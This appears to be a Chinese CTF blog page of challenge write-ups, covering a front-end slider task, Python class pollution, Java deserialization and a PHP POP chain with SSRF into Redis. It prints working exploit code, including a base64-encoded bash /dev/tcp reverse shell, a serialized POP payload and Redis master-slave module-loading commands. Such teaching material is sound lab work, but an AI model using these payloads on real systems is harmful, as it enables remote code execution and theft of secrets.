0%

set set what(WEB 签到)

解法1: 修改html前端拖动条范围上下界,直接拖

解法2: 看js里面最开始有个函数叫setSliderValue 控制台输入 setSliderValue(xxxxx)

解法3: 也有逆向手喜欢看js混淆后的代码,找到qq号十六进制后的数据地方

1
_0x167719 == 0x993be543 && alert(_0x1d4b54);

改成!=并应用 随便刷新一下就出了

解法4: 把按钮类型type删掉,直接输入值

前端题全在本地,随便改改应该就出了,或者难道你真是fps高手

解法5: 一眼顶针,发现有两个base64,解码是flag前面一段,再猜猜,又找到一端带==的,复制到一起直接出了。(或者js发给gpt4-o,会告诉你flag)

解法很多不一一说了,前端题都在本地,想办法改改就出了

我闻到了[巧物]的清香

世上的道路有很多条,而每个人都有属于自己的那一条

原型链污染,需要让SECRET_KEY == secret_value得到flag

但是SECRET_KEYtry to find truthsecret_value不知道是什么

1
2
3
os.makedirs('imagedir', exist_ok=True)
with open(os.path.join('imagedir', 'secret'), 'w') as f:
f.write(secret_value)

发现这里将secret_value写入imagedir

1
2
3
4
5
6
7
8
@app.route('/read_secret', methods=['GET'])
def read_secret():
try:
with open(os.path.join(app.static_folder, 'secret'), 'r') as f:
secret = f.read()
except FileNotFoundError:
secret = "You haven't found the correct path yet."
return f"Secret: {secret}"

这里可以读出secretkey

所以逻辑很清晰了,先污染路径读取secret_value,再污染app.config[‘SECRET_KEY’]等于secret_value

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import requests
url="http://127.0.0.1/"

data1 = {
"__init__": {
"__globals__": {
"app": {
"_static_folder": "imagedir"
}
}
}
}
data2 = {
"__init__" : {
"__globals__" : {
"app" : {
"config" : {
"SECRET_KEY" :"AD049E0604C7CB01F2A7AFA1075B81B7"
}
}
}
}
}

r=requests.post(url, json=data1)
print(r.text)
r=requests.get(url+"flag")
print(r.text)
r=requests.get(url+"read_secret")
print(r.text)
#第一次污染路径获取到secret的值AD049E0604C7CB01F2A7AFA1075B81B7

r=requests.post(url, json=data2)
print(r.text)
r=requests.get(url+"flag")
print(r.text)
r=requests.get(url+"read_secret")
print(r.text)
#第二次污染SECRET_KEY 为secret的值,访问flag页面获取flag

原型链污染就去本地调试,方便看是否污染成功,而且不会搞坏环境

瑞福莱克珅

题目描述讲解了需要学习的地方,有很多人来问,也发现了很多疑惑的地方,我就从原理思路去讲解

首先题目运行环境是无法更改的,你在本地代码里面加入的任何值不会影响服务器环境。

题目分析

1
2
3
4
5
6
7
8
9
10
11
12
13
//IndexController    
@RequestMapping({"/basic"})
public String greeting(@RequestParam(name = "data",required = true) String data, Model model) throws Exception {
byte[] b = Utils.hexStringToBytes(data);
InputStream inputStream = new ByteArrayInputStream(b);
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
String BUPT = objectInputStream.readUTF();
String merak= objectInputStream.readUTF();
if (BUPT.equals("BUPT") && merak.equals("merak")) {
objectInputStream.readObject();
}
return "index";
}

这里我们发现需要传入hexString,并readUTF()两次,readObject()一次,前面两次UTF需要按顺序写入,writeUTF,后面检测两个UTF成功后,调用readObject方法,我们发现题目环境有一个Calc类

1
2
3
4
5
6
7
8
9
10
11
12
13
public class Calc implements Serializable {
private boolean hasPermission = false;
private String cmd = "calc";

public Calc() {
}
private void readObject(ObjectInputStream objectInputStream) throws Exception {
objectInputStream.defaultReadObject();
if (this.hasPermission) {
Runtime.getRuntime().exec(this.cmd);
}
}
}

里面readObject里面有exec函数,可以执行恶意命令,当前面执行到objectInputStream.readObject();时,如果是calc类,就会调用他重写的readObject方法,所以我们需要控制cmd的值

传入的序列化字符串是我们自己定义的,也就是说可以控制传入的类的值

1
2
private boolean hasPermission = false;
private String cmd = "calc";

这里两个成员变量都是private,需要反射修改hasPermission为true,cmd为反弹shell命令

被问到的问题:

为什么不能直接Runtime.getRuntime().exec("bash -i >& /dev/tcp/ip/port 0>&1");

因为exec的字符串分割问题,这里参考博客吧

Java反弹shell小记(个人学习记录) - yunying - 博客园 (cnblogs.com)

为什么把各个类复制进去写的exp得到的hex无法命令执行

做java题时候一定要本地起个环境调试,通了再打远程,别怕麻烦

需要将jar包反编译,自己根据jar包内容新建一个项目,在不影响原本服务文件的情况下,新建一个新的类,去调用,去写exp,还要保证package什么的命名一致

至此,逻辑基本分析清楚了,Exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
package com.avasec;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;

public class Exp {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException {
Calc C=new Calc();
Class clazz = C.getClass();

Field field1 = clazz.getDeclaredField("hasPermission");
field1.setAccessible(true);
field1.set(C,true);

Field field2 = clazz.getDeclaredField("cmd");
field2.setAccessible(true);
field2.set(C,"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9pcC9wb3J0IDA+JjE=}|{base64,-d}|{bash,-i}");

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeUTF("BUPT");
oos.writeUTF("merak");
oos.writeObject(C);
oos.close();

System.out.println(Utils.bytesTohexString(barr.toByteArray()));
}
}

后记

整体上个人评价我出的新生赛难度刚好,前端题是为了当大家一开始有解hhh,也体会过一场比赛如果前面一大半时间0解的话难免有挫败感然后不做了,有个题出也能让大家更好的状态去看其他题。

原型链污染倒是随手加的,两次污染,没有Waf,理解下代码,还是一个比较正常的题。(比较喜欢题目名字)

除了可以秒了Reflection这个题的师傅之外,相信这应该是其他师傅的第一道Java题目,遇到的反弹shell,本地调试,目录结构等问题,看完这个题后续java安全的一些基础部分应该不会卡太久,希望这道题目对一些问题可以做到基本的解惑,也祝各位师傅安全之路畅通无阻!

换新博客之前记录的大部分不上传了,简单记录一下赛题

2024YCB java

除了这个链子还可以尝试JRMPClient去打二次反序列化绕过waf,(burp记得url编码,不然+认为空格返回error卡了这里)

两条链子加上传配合打jdbc 确实精彩

找到string类的getgift 里面有invoke 然后user/ser里面还有readobj

阅读全文 »

Sanic以及Sanic’s revenge

DASCTF 七月赛
那一条污染链子一直在看已经看的非常熟悉了,写一下博客

阅读全文 »

session 文件包含

利用条件 session存储位置可以知道,或者猜测出来比如/var/lib/php/session

阅读全文 »

web1 - EZphp

题目源码不能一页展示完全差评

不然打pop时候很麻烦翻来翻去的

缩进后代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<?php
highlight_file(__FILE__);
include "function.php";
class Rd{
public $ending;
public $cl;
public $poc;
public function __destruct(){
echo "All matters have concluded"."</br>";}
public function __call($name, $arg){
foreach ($arg as $key => $value) {
if ($arg[0]['POC'] == "0.o") {
$this->cl->var1 = "get";}}}}

class Poc{
public $payload;
public $fun;
public function __set($name, $value) {
$this->payload = $name;
$this->fun = $value;}
function getflag($paylaod){
echo "Have you genuinely accomplished what you set out to do?"."</br>";
file_get_contents($paylaod);}}

class Er{
public $symbol;
public $Flag;
public function __construct(){
$this->symbol = True;}
public function __set($name, $value){
if (preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',base64_decode($this->Flag))){
$value($this->Flag);}else {
echo "NoNoNo,please you can look hint.php"."</br>";}}}

class Ha{
public $start;
public $start1;
public $start2;
public function __construct(){
echo $this->start1 . "__construct" . "</br>";}
public function __destruct(){
if ($this->start2 === "o.0") {
$this->start1->Love($this->start);
echo "You are Good!"."</br>";}}}

function get($url) {
$url=base64_decode($url);
var_dump($url);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
var_dump($result_info);
curl_close($ch);
var_dump($output);}

if (isset($_POST['pop'])) {
$a = unserialize($_POST['pop']);} else {
die("You are Silly goose!");}
?>

POP链+SSRF

POP

pop这边不难,最后的$value($this->flag)通过__call把name=var1 value=get传递过来,利用外面的get函数打ssrf

1
2
3
4
5
6
7
$a=new Ha();
$a->start2="o.0";
$a->start1=new Rd();
$a->start=array("POC"=>"0.o");
$a->start1->cl=new Er();
$a->start1->cl->Flag="payload+base64";//到get(flag) gopher://打ssrf
echo serialize($a);

SSRF

1
2
3
4
5
6
7
8
9
10
11
12
13
function get($url) {
$url=base64_decode($url);
var_dump($url);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
var_dump($result_info);
curl_close($ch);
var_dump($output);}

$url 是刚才传入的 flag里面的payload,甚至没waf,应该是直接的ssrf

hint.php告诉是127地址

主从读取env 只能打tmp就主从

1
2
3
4
5
6
7
8
9
10
11
12
payload1 = '''
slaveof ip 21000
config set dir /tmp
config set dbfilename exp.so
quit
'''

payload2 = '''slaveof no one
module load /tmp/exp.so
system.exec 'env'
quit
'''

picup(unsolve)

如果能找到环境的话复现一下

flask session

然后app.secret_key=users.passwords[‘admin’]=hashlib.md5(os.urandom(32)).hexdigest()

读 proc self maps

pic打pickle